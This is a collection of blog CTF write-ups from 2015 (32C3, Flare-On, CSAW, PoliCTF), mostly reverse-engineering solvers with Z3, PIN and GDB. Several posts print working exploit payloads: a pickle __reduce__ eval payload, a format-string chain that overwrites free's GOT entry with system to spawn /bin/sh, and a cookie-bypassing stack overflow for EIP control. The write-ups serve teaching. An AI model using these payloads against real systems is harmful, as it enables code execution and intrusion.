f.add_rule_exactly(ALLOW, "fstat")
f.add_rule_exactly(ALLOW, "getcwd")
f.add_rule_exactly(ALLOW, "readlink")
f.add_rule_exactly(ALLOW, "mmap", Arg(3, MASKED_EQ, 2, 2))
f.add_rule_exactly(ALLOW, "munmap")
</pre>
But since the flag is already present in the scope of __main__, we can fetch it using the below pickle payload
<pre class="highlight">
class payload(object):
def __reduce__(self):
return (eval, ("__import__('__main__').flag.flag",))
sploit = pickle.dumps(payload())
</pre>
Flag for the challenge is <b>32c3_rooDahPaeR3JaibahYeigoong</b>
</div>Reno Roberthttp://www.blogger.com/profile/01980174423078410529noreply@blogger.com0tag:blogger.com,1999:blog-3932878064881956934.post-51683237847732113132015-10-22T22:53:00.001+05:302018-08-11T18:11:46.246+05:30FireEye Second Flare-On Reversing Challenges<!-- Include jQuery (Syntax Highlighter Requirement) -->
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script src="https://cdn.rawgit.com/google/code-prettify/master/loader/run_prettify.js?autoload=true&skin=sunburst&lang=css"></script>
<script>
$(document).ready(function() {
$("pre").removeClass().addClass('prettyprint');
});
</script>
<div dir="ltr" style="text-align: left;" trbidi="on">
My solutions for Flare-On reversing challenges is <a style="color: #0099FF"href="https://bitbucket.org/renorobert/flareon-2015/src">here</a><br /><br />
FireEye published some statistics in there blog<br />
- <a style="color: #0099FF"href="https://www.fireeye.com/blog/threat-research/2015/09/flare-on_challenges.html">Official Solutions and Winner Statistics</a><br />
- <a style="color: #0099FF"href="https://www.fireeye.com/blog/threat-research/2015/07/announcing_the_secon.html">Announcing the Second FLARE On Challenge</a><br /><br />
And this is what I got as prize from FLARE team<br /><br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDqrqMYVwid3AUaal3YexcuGL1QY2c7wXn4HppBqUf_kzmfN0En-4yFOFBiy-LO6dXzwD49AhCPianWX9S6TtzoFSRRfqr1-C_II0fdUnHYYmLsoqvuhaSy3GEC7aol80OtCGfsWKKiaDK/s1600/IMG_20150930_113524543_HDR.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDqrqMYVwid3AUaal3YexcuGL1QY2c7wXn4HppBqUf_kzmfN0En-4yFOFBiy-LO6dXzwD49AhCPianWX9S6TtzoFSRRfqr1-C_II0fdUnHYYmLsoqvuhaSy3GEC7aol80OtCGfsWKKiaDK/s640/IMG_20150930_113524543_HDR.jpg" /></a></div>
</div>Reno Roberthttp://www.blogger.com/profile/01980174423078410529noreply@blogger.com0tag:blogger.com,1999:blog-3932878064881956934.post-64034325065675851682015-09-23T03:44:00.001+05:302018-08-11T18:13:36.811+05:30CSAW CTF - RE500 - wyvern
<!-- Include jQuery (Syntax Highlighter Requirement) -->
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script src="https://cdn.rawgit.com/google/code-prettify/master/loader/run_prettify.js?autoload=true&skin=sunburst&lang=css"></script>
<script>
$(document).ready(function() {
$("pre").removeClass().addClass('prettyprint');
});
</script>
<div dir="ltr" style="text-align: left;" trbidi="on">
We got a 64-bit ELF for this challenge. Running strings shows the use of Obfuscator-LLVM
<pre class="highlight">
Obfuscator-LLVM clang version 3.6.1 (tags/RELEASE_361/final) (based on Obfuscator-LLVM 3.6.1)
</pre>
The binary expects a valid key!
<pre class="highlight">
$ ./wyvern_c85f1be480808a9da350faaa6104a19b
+-----------------------+
| Welcome Hero |
+-----------------------+
[!] Quest: there is a dragon prowling the domain.
brute strength and magic is our only hope. Test your skill.
Enter the dragon's secret:
</pre>
For further analysis, I used PIN based tracer. First objective was to find the length. Supplying an input of 100 bytes, the CMP instruction was found using PIN
<pre class="highlight">
0x4046b6 : cmp rax, rcx
0x4046b6 : [0x64] [0x1c]
</pre>
The length of key is 28 bytes. Now lets see if we could find the algorithm by tracking user input using PIN tool. Supplying input as BAAAAAAAAAAAAAAAAAAAAAAAAAAA, below instructions were found:
<pre class="highlight">
0x4017e8 : add ecx, dword ptr [rax]
0x4017e8 : [0x42] [0] := [0x42] -> input B
--
0x402a7f : cmp eax, ecx
0x402a7f : [0x64] [0x42] -> compared with 0x64
</pre>
Now supplying input as dBAAAAAAAAAAAAAAAAAAAAAAAAAA
<pre class="highlight">
0x4017e8 : add ecx, dword ptr [rax]
0x4017e8 : [0x42] [0x64] := [0xa5] -> input A and 0x64 from previous operation
--
0x402a7f : cmp eax, ecx
0x402a7f : [0xd6] [0xa5]
</pre>
So the algorithm reads each byte of user input, compares with a hard coded array, which is a sum input and previous result
<pre class="highlight">
0x00 + input[0] == 0x64
0x64 + input[1] == 0xd6
.....
</pre>
Lets fetch the array using GDB by setting breakpoint at 0x402a7f, and compute the flag
<pre class="highlight">
import gdb
sum_array = [0]
def exit_handler(event):
key = ''
for i in range(len(sum_array)-1):
key += chr(sum_array[i+1] - sum_array[i])
print key
def callback_fetch_array():
EAX = int(gdb.parse_and_eval("$eax"))
sum_array.append(EAX)
gdb.execute("set $ecx = $eax")
class HitBreakpoint(gdb.Breakpoint):
def __init__(self, loc, callback):
super(HitBreakpoint, self).__init__(
loc, gdb.BP_BREAKPOINT, internal=False)
self.callback = callback
def stop(self):
self.callback()
return False
HitBreakpoint("*0x402a7f", callback_fetch_array)
gdb.events.exited.connect(exit_handler)
</pre>
<pre class="highlight">
$ gdb -q ./wyvern_c85f1be480808a9da350faaa6104a19b
gdb-peda$ source re500.py
Breakpoint 1 at 0x402a7f
gdb-peda$ run
Enter the dragon's secret: AAAAAAAAAAAAAAAAAAAAAAAAAAAA
[+] A great success! Here is a flag{AAAAAAAAAAAAAAAAAAAAAAAAAAAA}
[Inferior 1 (process 33655) exited normally]
dr4g0n_or_p4tric1an_it5_LLVM
</pre>
So the key is <b>dr4g0n_or_p4tric1an_it5_LLVM</b>
</div>
Reno Roberthttp://www.blogger.com/profile/01980174423078410529noreply@blogger.com4tag:blogger.com,1999:blog-3932878064881956934.post-79079360618193871862015-09-23T03:44:00.000+05:302018-08-11T18:14:05.428+05:30CSAW CTF - RE300 - FTP<!-- Include jQuery (Syntax Highlighter Requirement) -->
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script src="https://cdn.rawgit.com/google/code-prettify/master/loader/run_prettify.js?autoload=true&skin=sunburst&lang=css"></script>
<script>
$(document).ready(function() {
$("pre").removeClass().addClass('prettyprint');
});
</script>
<div dir="ltr" style="text-align: left;" trbidi="on">
The challenge binary is a 64 bit executable. The objective was to login as user blankwall by finding the password. The supplied password is processed using a hash function at 0x00401540. Below is the decompiled code of the function:
<pre class="highlight">
uint32_t calc_hash(char *input)
{
int counter;
uint32_t state;
state = 5381;
for (counter = 0; input[counter]; ++counter)
state = 33 * state + input[counter];
return state;
}
</pre>
The output of this function must be equal to 0x0D386D209. The length of the password is not known and state variable is 32-bit, hence modulo 0xffffffff. I used Z3 to solve this and multiple solutions are possible. Below is the solver:
<pre class="highlight">
#!/usr/bin/env python
from z3 import *
# >>> (0x1505 * 0x21 * 0x21 * 0x21) < 0xD386D209
# True
# minimum length of password
passlen = 4
def init_solver(passlen):
s = Solver()
vectors = {}
for c in range(passlen):
vec = BitVec(str(c), 8)
vectors[c] = vec
s.add(And(0x20 < vec, vec < 0x7F))
return s, vectors
while True:
s, vectors = init_solver(passlen)
state = 0x1505
for i in range(passlen):
vec = ZeroExt(24, vectors[i])
state = state * 0x21 + vec
s.add(state == 0xD386D209)
if s.check() == sat: break
passlen += 1
m = s.model()
c = lambda m, i: chr(m[vectors[i]].as_long())
print ''.join([c(m,i) for i in range(passlen)])
</pre>
This gives the password UIcy1y. Login using the password as
<pre class="highlight">
con.write('USER blankwall' + chr(0xa))
password = 'PASS UIcy1y\x00' + chr(0xa)
con.write(password)
</pre>
The file re_solution had the flag, <b>flag{n0_c0ok1e_ju$t_a_f1ag_f0r_you}</b>
</div>Reno Roberthttp://www.blogger.com/profile/01980174423078410529noreply@blogger.com0tag:blogger.com,1999:blog-3932878064881956934.post-56376861727100092222015-09-23T03:43:00.002+05:302018-08-11T18:15:08.912+05:30CSAW CTF - RE200 - Hacking Time<!-- Include jQuery (Syntax Highlighter Requirement) -->
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script src="https://cdn.rawgit.com/google/code-prettify/master/loader/run_prettify.js?autoload=true&skin=sunburst&lang=css"></script>
<script>
$(document).ready(function() {
$("pre").removeClass().addClass('prettyprint');
});
</script>
<div dir="ltr" style="text-align: left;" trbidi="on">
For this challenge we got a NES ROM to reverse engineer.
<pre class="highlight">
HackingTime_03e852ace386388eb88c39a02f88c773.nes: iNES ROM dump, 2x16k PRG, 1x8k CHR, [Vert.]
</pre>
I used FCEUX emulator to run the ROM file. The game asks for a password after few messages <br /> <br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUeY8B1Dl34hNrQwhhsmq8uEEPPAhTca-XB18JJDGbsVmLxocW2sw1ZmZXaPT652MT-Q5GKjd5vmpuhMkIRNpQGkStjkhvo7ZFhFP6_5ryqvY0AuYvIIrPJ_a891rOMXJi6f0_FsnAVjMm/s1600/nespass.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUeY8B1Dl34hNrQwhhsmq8uEEPPAhTca-XB18JJDGbsVmLxocW2sw1ZmZXaPT652MT-Q5GKjd5vmpuhMkIRNpQGkStjkhvo7ZFhFP6_5ryqvY0AuYvIIrPJ_a891rOMXJi6f0_FsnAVjMm/s640/nespass.png" /></a></div>
<br /><br />The ROM memory could be viewed using Hex viewer, provided as part of FCEUX debug tools. I supplied a password ABCDABCDABCDABCDABCDABCD and found this is memory <br /> <br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-MhGzKK2nOst_Ulrz0p_JG5LsL5TQxifRjDZm6gzu_qTDbyWPgLt-0aXqT_Z6jzxpntNg_zR8xG7r5DZcC6pt5dWYJK8sMR8F7wICuqFZBnZhVANs80sp7UlIJ2zr6U4etu9U8Wt-pbqU/s1600/memory.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-MhGzKK2nOst_Ulrz0p_JG5LsL5TQxifRjDZm6gzu_qTDbyWPgLt-0aXqT_Z6jzxpntNg_zR8xG7r5DZcC6pt5dWYJK8sMR8F7wICuqFZBnZhVANs80sp7UlIJ2zr6U4etu9U8Wt-pbqU/s640/memory.png" /></a></div>
<br /> <br /> Then set read memory access breakpoint for address 0x5 i.e. first byte of string. Now on continuing the game, the breakpoint is hit<br /> <br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3PSoK2ryLiP9JW_IGz1CjrTYSKNAY19DBs7UU-wOjp2nHpcu_ZmjswET6zDQ4K6BxE9P_vuFUNzc3k0WaPOxCIo96cGGheJGUv89oebN4WlVFgOOD7p7SpF3Qec-1t_7fEta8-JXt5m2M/s1600/break.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3PSoK2ryLiP9JW_IGz1CjrTYSKNAY19DBs7UU-wOjp2nHpcu_ZmjswET6zDQ4K6BxE9P_vuFUNzc3k0WaPOxCIo96cGGheJGUv89oebN4WlVFgOOD7p7SpF3Qec-1t_7fEta8-JXt5m2M/s640/break.png" /></a></div>
<br /> <br />The program counter is at 0x82F7, so we know what part of code to analyze. Then I found the <a style="color: #0099FF"href="https://github.com/patois/nesldr">Nintendo Entertainment System (NES) ROM loader module for IDA Pro</a>, for analyzing the challenge ROM.
<pre class="highlight">
ROM:82F1 algorithm: ; CODE XREF: main_function+1C7
ROM:82F1 LDY #0
ROM:82F3 LDA #0
ROM:82F5 STA VAL
ROM:82F7
ROM:82F7 process_loop: ; CODE XREF: algorithm+44
ROM:82F7 LDA 5,Y ; LDA INPUTKEY,A
ROM:82FA TAX ; X = A
ROM:82FB ROL A ; ROL A,1
ROM:82FC TXA ; A = X
ROM:82FD ROL A ; ROL A, 1
ROM:82FE TAX ; X = A
ROM:82FF ROL A ; ROL A, 1
ROM:8300 TXA ; A = X
ROM:8301 ROL A ; ROL A,1
ROM:8302 TAX ; X = A
</pre>
The PC 0x82F7, takes us to the actual validation algorithm used. The algorithm processes one byte at a time using multiple rotate operations and couple of XOR's with hardcoded arrays values. Good reference to instruction set is found <a style="color: #0099FF"href="http://nesdev.com/6502.txt">here</a>. The algorithm was rewritten in python and bruteforce gave the solution
<pre class="highlight">
import string
CHECKA = [0x70, 0x30, 0x53, 0xa1, 0xd3, 0x70, 0x3f, 0x64, 0xb3, 0x16,
0xe4, 0x04, 0x5f, 0x3a, 0xee, 0x42, 0xb1, 0xa1, 0x37, 0x15,
0x6e, 0x88, 0x2a, 0xab]
CHECKB = [0x20, 0xac, 0x7a, 0x25, 0xd7, 0x9c, 0xc2, 0x1d, 0x58, 0xd0,
0x13, 0x25, 0x96, 0x6a, 0xdc, 0x7e, 0x2e, 0xb4, 0xb4, 0x10,
0xcb, 0x1d, 0xc2, 0x66, 0x3b]
CF = 0
def ROR(REG):
global CF
if CF: REG |= 0x100
CF = REG & 1
REG >>= 1
return REG
def ROL(REG):
global CF
REG <<= 1
if CF: REG |= 1
CF = 1 if (REG > 0xFF) else 0
return REG & 0xFF
STACK = 0
ADDR_3B = 0
KEY = ''
for Y in range(24):
for A in string.uppercase+string.digits:
C = A
VAL_3B = ADDR_3B
A = ord(A) # ROM:82F7 LDA $5,Y
X = A # ROM:82FA TAX
A = ROL(A) # ROM:82FB ROL A
A = X # ROM:82FC TXA
A = ROL(A) # ROM:82FD ROL A
X = A # ROM:82FE TAX
A = ROL(A) # ROM:82FF ROL A
A = X # ROM:8300 TXA
A = ROL(A) # ROM:8301 ROL A
X = A # ROM:8302 TAX
A = ROL(A) # ROM:8303 ROL A
A = X # ROM:8304 TXA
A = ROL(A) # ROM:8305 ROL A
STACK = A # ROM:8306 PHA
A = VAL_3B # ROM:8307 LDA ROLL
X = A # ROM:8309 TAX
A = ROR(A) # ROM:830A ROR A
A = X # ROM:830B TXA
A = ROR(A) # ROM:830C ROR A
X = A # ROM:830D TAX
A = ROR(A) # ROM:830E ROR A
A = X # ROM:830F TXA
A = ROR(A) # ROM:8310 ROR A
VAL_3B = A # ROM:8311 STA ROLL
A = STACK # ROM:8313 PLA
CF = 0 # ROM:8314 CLC
A = (A + VAL_3B) & 0xFF # ROM:8315 ADC ROLL
A = A ^ CHECKA[Y] # ROM:8317 EOR $955E,Y
VAL_3B = A # ROM:831A STA ROLL
X = A # ROM:831C TAX
A = ROL(A) # ROM:831D ROL A
A = X # ROM:831E TXA
A = ROL(A) # ROM:831F ROL A
X = A # ROM:8320 TAX
A = ROL(A) # ROM:8321 ROL A
A = X # ROM:8322 TXA
A = ROL(A) # ROM:8323 ROL A
X = A # ROM:8324 TAX
A = ROL(A) # ROM:8325 ROL A
A = X # ROM:8326 TXA
A = ROL(A) # ROM:8327 ROL A
X = A # ROM:8328 TAX
A = ROL(A) # ROM:8329 ROL A
A = X # ROM:832A TXA
A = ROL(A) # ROM:832B ROL A
A = A ^ CHECKB[Y] # ROM:832C EOR $9576,Y
if A == 0:
KEY += C
ADDR_3B = VAL_3B
break
else:
VAL_3B = 0
print KEY
</pre>
The flag is <b>NOHACK4UXWRATHOFKFUHRERX</b>
</div>Reno Roberthttp://www.blogger.com/profile/01980174423078410529noreply@blogger.com0tag:blogger.com,1999:blog-3932878064881956934.post-17153267998636626692015-09-23T03:43:00.001+05:302018-08-11T18:17:00.811+05:30CSAW CTF - Exploitables300 - FTP
<!-- Include jQuery (Syntax Highlighter Requirement) -->
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script src="https://cdn.rawgit.com/google/code-prettify/master/loader/run_prettify.js?autoload=true&skin=sunburst&lang=css"></script>
<script>
$(document).ready(function() {
$("pre").removeClass().addClass('prettyprint');
});
</script>
<div dir="ltr" style="text-align: left;" trbidi="on">
This is a continuation of Reversing 300 challenge. The goal is to read the flag file. But the binary has a protection, if filename has 'f' character, then the request is considered invalid. This invalid character 'f' used for comparison is saved as part of bss memory, hence writeable.<br /><br />
There were few bugs in this binary<br /><br />
[*] Buffer overflow in password handling function @ 0x040159B. Input buffer is copied into stack till space character
<pre class="highlight">
password_sz = strlen(pass_command);
for ( i = 0; *pass_command != ' ' && password_sz-1 >= i; ++i )
{
c = pass_command++;
command[i] = *c;
}
</pre>
<pre class="highlight">
USER blankwall
Please send password for user blankwall
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
login with USER PASS
</pre>
<pre class="highlight">
[0x4017c5] __stack_chk_fail(4, 0x403086, 21, -1*** stack smashing detected ***: ./ftp_0319deb1c1c033af28613c57da686aa7 terminated
<no return ...>
[pid 34300] [0x7ffff7a4bcc9] --- SIGABRT (Aborted) ---
[pid 34300] [0xffffffffffffffff] +++ killed by SIGABRT +++
</pre>
[*] Buffer overflow in command handling function @ 0x00402673, same as password handling function
<pre class="highlight">
memset(command, 0, 128);
command_sz = strlen(command_string);
for ( i = 0; *command_string != ' ' && command_sz-1 >= i; ++i )
{
c = command_string++;
command[i] = *c;
}
</pre>
[*] Arbitrary NUL write when handling STOR command @ 0x00401DF9. Amount of bytes received is not checked and used as index for string termination
<pre class="highlight">
while (1)
{
bytes_read = recv(socket, file_information, 10, 0);
total_size += bytes_read;
}
file_information[total_size] = 0;
</pre>
file_information buffer resides above invalid character buffer, hence could be used to toggle off the invalid charcacter byte.
<pre class="highlight">
.bss:0000000000604408 invalid_character dd ?
</pre>
<pre class="highlight">
RAX: 0x208
=> 0x401ee0: mov BYTE PTR [rax+0x604200],0x0
gdb-peda$ x/x 0x604200+0x208
0x604408: 0x0000000000000066
</pre>
[*] The file_information buffer is used in couple of other functions like LIST and RETR, which could also overwrite the invalid character byte.
<pre class="highlight">
Direction Type Address Text
--------- ---- ------- ----
o LIST:loc_401BAD mov [rbp+s], offset file_information
Down o LIST+26F mov esi, offset file_information
Down o STOR+8F mov esi, offset file_information; buf
Down w STOR+E7 mov ds:file_information[rax], 0
Down o RETR+134 mov edi, offset file_information; ptr
Down o RETR+158 lea rsi, file_information[rax]; buf
</pre>
Flag for the challenge is <b>flag{exploiting_ftp_servers_in_2015} </b>
</div>Reno Roberthttp://www.blogger.com/profile/01980174423078410529noreply@blogger.com0tag:blogger.com,1999:blog-3932878064881956934.post-23489449711374145322015-09-23T03:43:00.000+05:302018-08-11T18:17:45.447+05:30CSAW CTF - Exploitables250 - contacts
<!-- Include jQuery (Syntax Highlighter Requirement) -->
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script src="https://cdn.rawgit.com/google/code-prettify/master/loader/run_prettify.js?autoload=true&skin=sunburst&lang=css"></script>
<script>
$(document).ready(function() {
$("pre").removeClass().addClass('prettyprint');
});
</script>
<div dir="ltr" style="text-align: left;" trbidi="on">
This again is a 32-bit ELF. The binary maintain user contacts as 80 byte records as part of bss memory, starting from address 0804B0A0. It is possible to save maximum of 10 contacts. This is what the structure looks like
<pre class="highlight">
struct contact {
char *description;
char *phonenumber;
char name[64];
int desc_size;
int inuse;
};
</pre>
First vulnerability resides in edit contact feature, where size parameter of fgets seems to be uninitialized and taking large value. This can overflow into adjacent structures in bss memory.
<pre class="highlight">
.text:08048A4E mov edx, ds:stdin
.text:08048A54 mov eax, [ebp+size]
.text:08048A57 mov ecx, [ebp+contact]
.text:08048A5A add ecx, 8
.text:08048A5D mov [esp+8], edx ; stream
.text:08048A61 mov [esp+4], eax ; n
.text:08048A65 mov [esp], ecx ; s
.text:08048A68 call _fgets
</pre>
<pre class="highlight">
printf("New name: ");
fgets(contact->name, size, stdin);
</pre>
Next bug is a format string vulnerability in display contact feature:
<pre class="highlight">
is_inuse = contact->inuse;
if (is_inuse)
PrintDetails(contact->name, contact->desc_size, contact->phonenumber, contact->description);
int PrintDetails(char *name, int size, char *phonenumber, char *description)
{
printf("\tName: %s\n", name);
printf("\tLength %u\n", size);
printf("\tPhone #: %s\n", phonenumber);
printf("\tDescription: ");
printf(description);
}
</pre>
Now lets use format string vulnerability to get code execution. Remember, there is not much control of data placed in stack. So we need to find ways to place necessary pointers in stack and use the format string vulnerabilty to perform arbitrary memory overwrite.<br /><br />
Exploit details:<br /><br />
[*] Trigger info leak using format string
<pre class="highlight">
804c008.f7e543a1.f7fb1000.0.0.ffffcc48.8048c99.804b0a8.7d0.804c008.804c018.f7fb1ac0.8048ed6.804b0a0.0.0.f7fb1000.ffffcc78.80487a2.804b0a0.ffffcc68.50
</pre>
[*] At index 6$ and 18$, resides two saved EBP pointers. Use these pointers to write GOT address of free() into stack
<pre class="highlight">
GOT address of free = 0x0804b014
>>> 0xb014
45076
>>> 0x0804
2052
FRAME0EBP FRAME1EBP+0 ---> GOT_FREE # write 2 LSB bytes of GOT
payload = '%.' + str(45076) + 'u%18$hn'
FRAME0EBP-->FRAME1EBP+2 # update FRAME1EBP address using FRAME0EBP
address = (FRAME1EBP+2) & 0xFFFF
payload = '%.' + str(address) + 'u%6$hn'
FRAME0EBP FRAME1EBP+2 ---> GOT_FREE # write 2 MSB bytes of GOT
payload = '%.' + str(2052) + 'u%18$hn'
</pre>
[*] Read the GOT entry of free, to leak libc address
<pre class="highlight">
payload = "%30$s"
</pre>
[*] Then overwrite GOT of free with address to system
<pre class="highlight">
# writes 2 LSB bytes of address
system = (libc_base_address + system_offset) & 0xFFFF
payload = '%.' + str(system) + 'u%30$hn'
</pre>
Update GOT address in stack to point to MSB bytes
<pre class="highlight">
payload = '%.' + str(45078) + 'u%18$hn'
</pre>
<pre class="highlight">
# writes 2 MSB bytes of address
system = ((libc_base_address + system_offset) & 0xffff0000) >> 16
payload = '%.' + str(system) + 'u%30$hn'
</pre>
[*] Create a contact with /bin/sh\x00 as description<br /><br />
[*] Delete the contact, this will call system("/bin/sh"), instead of free("/bin/sh")<br /><br />
Flag for the challenge is <b>flag{f0rm47_s7r1ng5_4r3_fun_57uff}</b>
</div>Reno Roberthttp://www.blogger.com/profile/01980174423078410529noreply@blogger.com0tag:blogger.com,1999:blog-3932878064881956934.post-72654635564808316212015-09-23T03:42:00.001+05:302018-08-11T18:18:31.617+05:30CSAW CTF - Exploitables100 - precision<!-- Include jQuery (Syntax Highlighter Requirement) -->
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script src="https://cdn.rawgit.com/google/code-prettify/master/loader/run_prettify.js?autoload=true&skin=sunburst&lang=css"></script>
<script>
$(document).ready(function() {
$("pre").removeClass().addClass('prettyprint');
});
</script>
<div dir="ltr" style="text-align: left;" trbidi="on">
Given 32-bit ELF reads user input using scanf("%s", &buf), resulting in buffer overflow. Just before returning, it does a floating point comparison
<pre class="highlight">
.text:08048529 fld ds:floating_num
.text:0804852F fstp [esp+0A0h+check]
.text:08048596 fld [esp+0A0h+check]
.text:0804859D fld ds:floating_num
.text:080485A3 fucomip st, st(1)
.text:080485A5 fstp st
.text:080485A7 jz short ret
</pre>
The floating point number is a 64 bit value, which acts as a cookie. Since this value is hardcoded, just fetch it and use it during overwrite
<pre class="highlight">
gdb-peda$ x/gx 0x08048690
0x8048690: 0x40501555475a31a5
</pre>
So contruct a payload like below, to control EIP
<pre class="highlight">
payload = "A" * 128
payload += struct.pack("<Q", 0x40501555475a31a5)
payload += "A"*12
payload += struct.pack("<I", EIP)
</pre>
Flag is <b>flag{1_533_y0u_kn0w_y0ur_w4y_4r0und_4_buff3r}</b>
</div>Reno Roberthttp://www.blogger.com/profile/01980174423078410529noreply@blogger.com0tag:blogger.com,1999:blog-3932878064881956934.post-48550737695034104262015-07-13T02:46:00.000+05:302018-08-11T18:19:45.737+05:30PoliCTF RE350 - JOHN THE PACKER - PIN + Z3<!-- Include jQuery (Syntax Highlighter Requirement) -->
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script src="https://cdn.rawgit.com/google/code-prettify/master/loader/run_prettify.js?autoload=true&skin=sunburst&lang=css"></script>
<script>
$(document).ready(function() {
$("pre").removeClass().addClass('prettyprint');
});
</script>
<div dir="ltr" style="text-align: left;" trbidi="on">
The 32bit ELF is a self modyfing code. So I decided to use PIN for futher analysis.
<pre class="highlight">
$ pin -t obj-ia32/exectrace.so -- ./re350 flag{ABCDEFGHIJKLMNOPQRTSUVWXYZ0}
0x80488f8 : cmp eax, 0x21
0x80488f8 : [0x21] [0x21]
</pre>
<pre class="highlight">
$ ltrace -i ./re350 flag{ABCDEFGHIJKLMNOPQRTSUVWXYZ0}
[0x80488f5] strlen("flag{ABCDEFGHIJKLMNOPQRTSUVWXYZ0"...) = 33
</pre>
Length of flag is 33 bytes <br />
Once the length is know, lets search for other interesting stuffs from the PIN trace
<pre class="highlight">
0x8048a84 : cmp ebx, eax
0x8048a84 : [0x41] [0x70] -> A is compared with p
</pre>
<pre class="highlight">
$ pin -t obj-ia32/exectrace.so -- ./re350 flag{pBCDEFGHIJKLMNOPQRTSUVWXYZ0}
0x8048a96 : cmp eax, dword ptr [ebp-0x10]
0x8048a96 : [0x1] [0x6]
--
0x8048a84 : cmp ebx, eax
0x8048a84 : [0x70] [0x70] -> p is a valid comparison
--
0x8048a96 : cmp eax, dword ptr [ebp-0x10]
0x8048a96 : [0x2] [0x6]
--
0x8048a84 : cmp ebx, eax -> B is compared to a
0x8048a84 : [0x42] [0x61]
</pre>
The first 6 unknown bytes are compared directly, which could be retrieved as 'packer'. Going further we could see this:
<pre class="highlight">
0x804892f : cmp ebx, eax
0x804892f : [0x16] [0x21]
--
0x8048953 : xor eax, ecx
0x8048953 : [0x50] [0x10] := [0x40]
--
0x804896f : cmp al, byte ptr [ebp-0xe]
0x804896f : [0x40] [0x51]
</pre>
User supplied 'P' ^ 0x10 == User supplied 'Q'. On futher analysis, the algo looks like this
<pre class="highlight">
key[20] ^ 0x10 == key[21]
key[21] ^ 0x44 == key[22]
......
......
key[31] ^ 0x00 == key[32]
</pre>
There are multiple inputs which satisfies these constraints. Using Z3 one can quickly find all the ascii printables satisfying the condition. Below is the solver:
<pre class="highlight">
#!/usr/bin/env python
from z3 import *
def get_models(s):
# from 0vercl0k's z3tools.py
while s.check() == sat:
m = s.model()
yield m
s.add(Or([sym() != m[sym] for sym in m.decls()]))
s = Solver()
a, b, c, d, e, f, g, h, i, j, k, l = BitVecs('a b c d e f g h i j k l', 8)
# ascii printables
s.add(And(0x20 < a, a < 0x7f))
s.add(And(0x20 < b, b < 0x7f))
s.add(And(0x20 < c, c < 0x7f))
s.add(And(0x20 < d, d < 0x7f))
s.add(And(0x20 < e, e < 0x7f))
s.add(And(0x20 < f, f < 0x7f))
s.add(And(0x20 < g, g < 0x7f))
s.add(And(0x20 < h, h < 0x7f))
s.add(And(0x20 < i, i < 0x7f))
s.add(And(0x20 < j, j < 0x7f))
s.add(And(0x20 < k, k < 0x7f))
s.add(And(0x20 < l, l < 0x7f))
# from PIN trace
s.add(a ^ 0x10 == b)
s.add(b ^ 0x44 == c)
s.add(c ^ 0x07 == d)
s.add(d ^ 0x43 == e)
s.add(e ^ 0x59 == f)
s.add(f ^ 0x1c == g)
s.add(g ^ 0x5b == h)
s.add(h ^ 0x1e == i)
s.add(i ^ 0x19 == j)
s.add(j ^ 0x47 == k)
s.add(k ^ 0x00 == l)
for m in get_models(s):
serial = [m[a].as_long(), m[b].as_long(), m[c].as_long(), m[d].as_long(),
m[e].as_long(), m[f].as_long(), m[g].as_long(), m[h].as_long(),
m[i].as_long(), m[j].as_long(), m[k].as_long(), m[l].as_long()]
key = ''
for _ in serial: key += chr(_)
print key
# probable solution =-in-th3-4ss
</pre>
The most matching characters looked like '=-in-th3-4ss'. Thats 12 bytes of flag. Now we have flag{packerXXXXXXXXX=-in-th3-4ss}. After this, there wasn't much details in the trace file [I didn't trace floating point operations]. We need to find how the middle part of flag is validated<br /><br />
The ltrace had few calls to pow() function. Lets see, if there is anything related to this. Self modyfing code might cause issue with breakpoints.
<pre class="highlight">
2681 [0x80487b3] pow(0, 0x40180000, 0, 0x40080000) = 1
2681 [0x80487e0] pow(0, 0x40180000, 0, 0x40000000) = 1
2681 [0x8048843] pow(0, 0x40000000, 0, 0x40504000) = 1
</pre>
<pre class="highlight">
gdb-peda$ break *0x8048843
Breakpoint 1 at 0x8048843
gdb-peda$ run flag{packerAAAAAAAAA=-in-th3-4ss}
gdb-peda$ generate-core-file
</pre>
Now, lets analyze the core. Function at 0x08048AA5 has some 7 checks. With little debugging one can find the 5th check is the one that validates the missing parts of flag
<pre class="highlight">
.text:08048B67 push eax
.text:08048B68 push 26h
.text:08048B6D push offset check_five
.text:08048B72 call call_mprotect
.text:08048B77 add esp, 10h
.text:08048B7A add [ebp+check_count], eax
.text:08048B7D mov eax, [ebp+arg]
</pre>
